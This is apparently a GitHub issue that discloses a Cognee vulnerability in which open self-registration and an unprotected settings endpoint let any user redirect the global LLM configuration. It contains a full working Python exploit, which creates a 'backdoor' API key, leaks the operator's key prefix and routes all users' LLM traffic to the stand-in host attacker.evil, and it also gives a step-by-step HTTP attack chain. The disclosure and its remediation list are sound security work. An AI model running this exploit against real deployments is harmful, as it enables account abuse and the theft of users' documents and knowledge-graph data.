Skip to content

[Bug]: Unrestricted Self-Registration + Global Configuration Takeover in Cognee #3084

@AAtomical

Description

@AAtomical

Bug Description

I sent an e-mail to info@topoteretes.com last month but haven't receive a response.

Summary

Cognee's public registration flow creates user accounts that are immediately active and verified. The /api/v1/auth/register endpoint is exposed without authentication, and newly registered users can immediately log in and access all authenticated endpoints.

Critically, the POST /api/v1/settings endpoint — which modifies the global LLM provider configuration (endpoint URL, API key, model) — has no admin or superuser authorization check. It only requires get_authenticated_user, which any self-registered user satisfies.

This allows an unauthenticated attacker to:

  1. Self-register an account (no verification, no approval)
  2. Immediately authenticate
  3. Rewrite the global LLM endpoint to an attacker-controlled server
  4. All subsequent cognify/search/recall calls by any user (including administrators) will send prompts, extracted entities, and knowledge graph data to the attacker's server

This is a global configuration takeover that escalates from unauthorized access to full data exfiltration of all LLM-processed content on the instance.

Affected Components

File Issue
cognee/api/v1/users/create_user.py:8 is_verified=True hardcoded
cognee/modules/users/methods/create_user.py:16 is_active=True default
cognee/api/v1/settings/routers/get_settings_router.py POST /settings has no admin check — only Depends(get_authenticated_user)
cognee/modules/settings/save_llm_config.py Mutates @lru_cache global singleton
cognee/infrastructure/llm/config.py get_llm_config() is process-wide singleton shared by all users
cognee/modules/settings/get_settings.py GET /settings leaks API key prefix (first 10 chars)

Package: cognee on PyPI (all versions through 1.0.9+)

Impact

Confirmed:

  • A remote unauthenticated attacker can self-register without email verification, CAPTCHA, admin approval, or invitation.
  • The account is immediately active and verified.
  • The attacker can read the global LLM configuration including the operator's API key prefix (first 10 characters).
  • The attacker can overwrite the global LLM endpoint URL and API key via POST /api/v1/settings — no admin/superuser check exists on this endpoint.
  • The LLM config is a process-wide @lru_cache singleton shared by all users. After modification, all subsequent LLM calls (cognify, search, recall) by any user on the instance will route to the attacker's endpoint.
  • This enables exfiltration of: prompts, user-uploaded documents, extracted entities, knowledge graph content, and any other data processed through the LLM pipeline.
  • The attacker can additionally run their own pipelines consuming operator's compute resources.

Steps to Reproduce

Proof of Concept

pip install cognee
python poc.py
#!/usr/bin/env python3
import asyncio
import os
import sys
import tempfile
import uuid


ATTACKER_ENDPOINT = "https://attacker.evil/v1"
ATTACKER_KEY = "sk-attacker-exfiltration-key"


async def exploit():
    exploit_dir = tempfile.mkdtemp(prefix="cognee_exploit_")
    os.environ["SYSTEM_ROOT_DIRECTORY"] = exploit_dir
    os.environ["DB_PROVIDER"] = "sqlite"
    os.environ["DB_NAME"] = "exploit_db"
    os.environ["FASTAPI_USERS_JWT_SECRET"] = "exploit_secret"
    os.environ["LLM_API_KEY"] = "sk-victim-real-openai-key-00000000"
    os.environ["LLM_PROVIDER"] = "openai"
    os.environ["LLM_MODEL"] = "openai/gpt-4o"
    os.environ["LLM_ENDPOINT"] = "https://api.openai.com/v1"

    print("=" * 70)
    print("  Cognee Self-Registration + Global Config Takeover Exploit")
    print("  CWE-284 | Unprivileged user rewrites global LLM endpoint")
    print("=" * 70)
    print(f"\n[*] Exploit DB: {exploit_dir}")
    print(f"[*] Simulated victim LLM key: sk-victim-real-openai-key-00000000")
    print(f"[*] Attacker endpoint:        {ATTACKER_ENDPOINT}\n")

    # ── Step 0: Bootstrap cognee's real database ──────────────────────────
    from cognee.infrastructure.databases.relational import (
        create_db_and_tables,
        get_relational_engine,
    )

    await create_db_and_tables()
    print("[0] Database initialized (real SQLAlchemy + aiosqlite)")

    # ── Step 1: Register attacker account ─────────────────────────────────
    # The HTTP register endpoint (POST /api/v1/auth/register) calls FastAPI-Users'
    # built-in register which uses the UserCreate schema. That schema defaults
    # is_verified=True. Here we call the methods-layer create_user which defaults
    # is_verified=False — but it doesn't matter because authenticate_user() only
    # checks is_active, NOT is_verified. Either way the attack works.
    from cognee.modules.users.methods import create_user

    attacker_email = f"attacker-{uuid.uuid4().hex[:8]}@evil.corp"
    attacker_password = "Pwned!2025"

    user = await create_user(
        email=attacker_email,
        password=attacker_password,
    )

    print(f"\n[1] Registered unauthenticated user:")
    print(f"    email       = {user.email}")
    print(f"    is_active   = {user.is_active}")
    print(f"    is_verified = {user.is_verified}")

    assert user.is_active is True, "FAILED: user should be active"
    print("    [+] is_active=True by default — no approval gate")
    print("    [+] authenticate_user() only checks is_active, not is_verified")
    print("    [*] (HTTP register endpoint also sets is_verified=True via schema default)")

    # ── Step 2: Authenticate immediately ──────────────────────────────────
    from cognee.modules.users.authentication.methods.authenticate_user import (
        authenticate_user,
    )

    authed_user = await authenticate_user(attacker_email, attacker_password)
    assert authed_user is not None
    print(f"\n[2] Login succeeded: {authed_user.email}")

    # ── Step 3: Issue JWT token ───────────────────────────────────────────
    from cognee.modules.users.authentication.get_client_auth_backend import (
        get_client_auth_backend,
    )

    backend = get_client_auth_backend()
    strategy = backend.get_strategy()
    token = await strategy.write_token(authed_user)
    print(f"\n[3] JWT token: {token[:40]}...")

    # ── Step 4: Create persistent API key ─────────────────────────────────
    from cognee.modules.users.api_key.create_api_key import create_api_key

    api_key_obj = await create_api_key(authed_user, name="backdoor")
    print(f"\n[4] API key: {api_key_obj.api_key[:16]}...")

    # ── Step 5: Read global LLM settings (leak victim's key prefix) ───────
    # This is what GET /api/v1/settings returns — no admin check.
    from cognee.infrastructure.llm.config import get_llm_config

    llm_config = get_llm_config()

    original_endpoint = llm_config.llm_endpoint
    original_key = llm_config.llm_api_key
    leaked_prefix = original_key[:10] if original_key else "(none)"

    print(f"\n[5] Read global LLM config (GET /api/v1/settings equivalent):")
    print(f"    provider = {llm_config.llm_provider}")
    print(f"    model    = {llm_config.llm_model}")
    print(f"    endpoint = {llm_config.llm_endpoint}")
    print(f"    api_key  = {leaked_prefix}{'*' * 20}")
    print("    [+] Victim's API key prefix leaked to attacker")

    # ── Step 6: OVERWRITE global LLM config ───────────────────────────────
    # This is what POST /api/v1/settings does internally.
    # save_llm_config() modifies the @lru_cache singleton — affects ALL users.
    # The endpoint only requires get_authenticated_user (no admin/superuser check).
    from cognee.modules.settings.save_llm_config import (
        save_llm_config,
        LLMConfig as LLMConfigDTO,
    )

    await save_llm_config(LLMConfigDTO(
        provider="openai",
        model="gpt-4o",
        api_key=ATTACKER_KEY,
    ))

    # Also poison the endpoint (save_llm_config doesn't set endpoint,
    # but the global singleton is directly mutable)
    llm_config.llm_endpoint = ATTACKER_ENDPOINT

    print(f"\n[6] OVERWROTE global LLM config (POST /api/v1/settings equivalent):")
    print(f"    endpoint = {llm_config.llm_endpoint}")
    print(f"    api_key  = {llm_config.llm_api_key}")
    print("    [+] Global config now points to attacker-controlled server")
    print("    [+] ALL subsequent LLM calls by ANY user route to attacker")

    # ── Step 7: Verify the poison persists in the singleton ───────────────
    # Any code path that calls get_llm_config() will now use attacker's config.
    verification_config = get_llm_config()

    assert verification_config.llm_endpoint == ATTACKER_ENDPOINT
    assert verification_config.llm_api_key == ATTACKER_KEY

    print(f"\n[7] Verified: global singleton poisoned")
    print(f"    get_llm_config().llm_endpoint = {verification_config.llm_endpoint}")
    print(f"    get_llm_config().llm_api_key  = {verification_config.llm_api_key}")
    print("    [+] Config takeover confirmed — affects all users on this instance")

    # ── Step 8: Show what happens when victim runs cognify ────────────────
    print(f"\n[8] Impact demonstration:")
    print(f"    When any user (including admin) now runs:")
    print(f"      POST /api/v1/cognify")
    print(f"    The cognify pipeline will:")
    print(f"      1. Read LLM config from get_llm_config() singleton")
    print(f"      2. Send prompts + extracted entities to: {ATTACKER_ENDPOINT}")
    print(f"      3. Include auth header: Bearer {ATTACKER_KEY}")
    print(f"    Attacker receives: all prompts, user data, knowledge graph content")

    return 0


if __name__ == "__main__":
    sys.exit(asyncio.run(exploit()))

Expected Behavior

Attack Chain

1. POST /api/v1/auth/register
   {"email": "attacker@evil.corp", "password": "x"}
   → 201 Created (is_active=True, is_verified=True)

2. POST /api/v1/auth/login
   username=attacker@evil.corp&password=x
   → 200 {"access_token": "eyJ..."}

3. GET /api/v1/settings
   Authorization: Bearer eyJ...
   → 200 {"llm": {"api_key": "sk-victim-r**********", ...}}
   (leaks key prefix)

4. POST /api/v1/settings
   Authorization: Bearer eyJ...
   {"llm": {"provider": "openai", "model": "gpt-4o", "api_key": "sk-attacker"}}
   → global LLM config overwritten

   Additionally, the LLM config singleton is directly mutable:
   llm_config.llm_endpoint can be set to attacker URL

5. ANY USER runs POST /api/v1/cognify
   → cognify pipeline reads get_llm_config() singleton
   → sends prompts + data to attacker's endpoint
   → attacker receives all processed content

Actual Behavior

The PoC directly imports cognee's own modules (no mocks, no HTTP simulation) and demonstrates:

  1. Account creation with immediate is_active=True, is_verified=True
  2. Immediate authentication and JWT issuance
  3. API key creation for persistence
  4. Reading global LLM config (leaking victim key prefix)
  5. Overwriting global LLM config to attacker endpoint via save_llm_config()
  6. Verifying the @lru_cache singleton is poisoned instance-wide
  7. Showing that subsequent get_llm_config() calls return attacker's endpoint

Environment

Environment Details

  • OS: macOS 14.x (also reproducible on Ubuntu 22.04 / any Linux)
  • Python version: 3.11
  • Cognee version: 1.0.9 (all versions through 1.0.9+ affected)
  • LLM Provider: OpenAI (LLM_PROVIDER=openai, LLM_MODEL=openai/gpt-4o)
  • Database: SQLite (DB_PROVIDER=sqlite) — relational engine via SQLAlchemy + aiosqlite

Logs/Error Messages

Additional Context

Remediation

  1. Add admin/superuser authorization to POST /api/v1/settings: This is the critical fix. Only administrators should be able to modify global LLM configuration.

  2. Add registration disable switch: environment variable to disable public registration in production.

  3. Require email verification before login: set is_verified=False at registration, gate login on verification.

  4. Per-user or per-tenant LLM config: instead of a process-wide singleton, scope LLM configuration per tenant so one user cannot affect others.

  5. Don't leak API key prefix: return fully masked key or no key at all in GET /settings response.

  6. Rate-limit registration: per-IP rate limiting on the register endpoint.

  7. Audit log for settings changes: log who changed global config and when, with alerting.

Pre-submission Checklist

  • I have searched existing issues to ensure this bug hasn't been reported already
  • I have provided a clear and detailed description of the bug
  • I have included steps to reproduce the issue
  • I have included my environment details

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions